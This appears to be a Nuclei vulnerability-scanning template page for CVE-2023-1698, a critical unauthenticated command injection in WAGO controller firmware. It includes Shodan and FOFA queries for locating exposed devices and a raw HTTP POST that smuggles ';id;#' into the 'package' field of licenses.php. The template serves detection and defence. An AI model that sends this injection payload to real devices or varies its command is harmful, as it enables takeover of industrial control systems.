WAGO - Remote Command Execution

ID: CVE-2023-1698

Severity: critical

Author: xianke

Tags: cve2023,cve,wago,rce

Description

In multiple products of WAGO, a vulnerability allows an unauthenticated, remote attacker to create new users and change the device configuration which can result in unintended behavior, Denial of Service, and full system compromise.

YAML Source

id: CVE-2023-1698

info:
  name: WAGO - Remote Command Execution
  author: xianke
  severity: critical
  description: |
    In multiple products of WAGO, a vulnerability allows an unauthenticated, remote attacker to create new users and change the device configuration which can result in unintended behavior, Denial of Service, and full system compromise.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the target system.
  remediation: |
    Apply the latest security patches and updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://onekey.com/blog/security-advisory-wago-unauthenticated-remote-command-execution/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1698
    - https://cert.vde.com/en/advisories/VDE-2023-007/
    - https://github.com/codeb0ss/CVE-2023-1698-PoC
    - https://github.com/deIndra/CVE-2023-1698
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-1698
    cwe-id: CWE-78
    epss-score: 0.90792
    epss-percentile: 0.98828
    cpe: cpe:2.3:o:wago:compact_controller_100_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: wago
    product: compact_controller_100_firmware
    shodan-query:
      - html:"/wbm/" html:"wago"
      - http.html:"/wbm/" html:"wago"
    fofa-query: body="/wbm/" html:"wago"
  tags: cve2023,cve,wago,rce

http:
  - raw:
      - |
        POST /wbm/plugins/wbm-legal-information/platform/pfcXXX/licenses.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {"package":";id;#"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"license":'
          - '"name":'
          - 'uid='
          - 'gid='
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022011c770b2d81bd09032215797ebf3a4c5837f6061095f65c77766abc7d3815db6022100c06c9b41f7638deac55951a07c8d9b58b8a9938723484fb42f8b1780cc401587:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-1698.yaml"

View on Github